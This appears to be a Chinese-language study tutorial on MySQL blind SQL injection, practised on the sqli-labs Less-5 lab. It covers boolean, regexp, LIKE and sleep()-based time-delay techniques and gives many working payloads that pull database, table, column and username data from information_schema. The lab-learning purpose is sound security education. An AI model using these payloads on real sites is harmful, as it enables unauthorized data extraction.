mysql注入之盲注
主要是我认为简单的一些基于布尔 SQL 盲注,同时将结合实际案例sqli-labs05
基于布尔 SQL 盲注———-构造逻辑判断
截取字符及ASCII转换
left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数
实践:
left()函数
ID:1’ and left(version(),1)=5–+
爆库
1.猜测数据库第一位
ID: 1’and left(database(),1)>’a’–+
Database()为 security,所以我们看他的第一位是否 >a,很明显的是 s>a,因此返回正确。当 我们不知情的情况下,可以用二分法来提高注入的效率。
2.猜测数据库第二位 得知第一位为 s,我们看前两位是否大于 sa
ID:1’and left(database(),2)>’sa’–+
爆表
- security库下的第一个表: email e=101 m=109
ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+ - 下一个字符,只需将substr()函数下的第三个参数改为二
ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109–+ - 下一个表,只需将limit中的0,1 改为1,1 依此类推
ID:1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+
//此处 114 返回是正确的,因为第二个表示 referers表,所以第一位就是 r.爆列
下一步:表中的列:(一个个查过去比较麻烦,可以用正则来判断表中是否有某个列,针对性较强)
爆users表中的列
ID:1’and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1,1))=117–+
第一个字符为u 可以推测出第一个列为username爆数据
爆username中的数据
ID:1’and ascii(substr((select username from users limit 1,1),1,1))=65–+
username中的第一行为A开头的用户名
regexp 正则注入
正则注入介绍:
http://www.cnblogs.com/lcamry/articles/5717442.html
用法介绍:
select user() regexp ‘^[a-z]’;
Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
第二位可以用 select user() regexp ‘^ro’来进行。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^us[a-z]’ limit 0,1);
实例:
1.爆表
查询库下是否有us开头的表名,
ID:1’and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+
严格匹配库中是否有一个表名为users的表
ID:1’and 1=(select 1 from information_schema.tables where table_schema=’security’ and table_name regexp ‘^users$’ limit 0,1)–+
2.爆列
users表中是否一个username列
ID:1’and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^username’ limit 0,1)–+
users表中是否一个password列
ID:1’and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^password’ limit 0,1)–+
3.爆数据
username列中是否存在一个用户名为dummy:
ID:1’and 1=(select 1 from users where username regexp’^dummy’ limit 0,1)–+
like 匹配注入
和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。
用法:select user() like ‘ro%’
实例
ID:1’and 1=(select 1 from users where username like ‘dummy’ limit 0,1)–+
延时注入 利用 sleep()函数进行注入
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
正确时:直接显示页面
错误时,执行sleep(5)
5秒延时后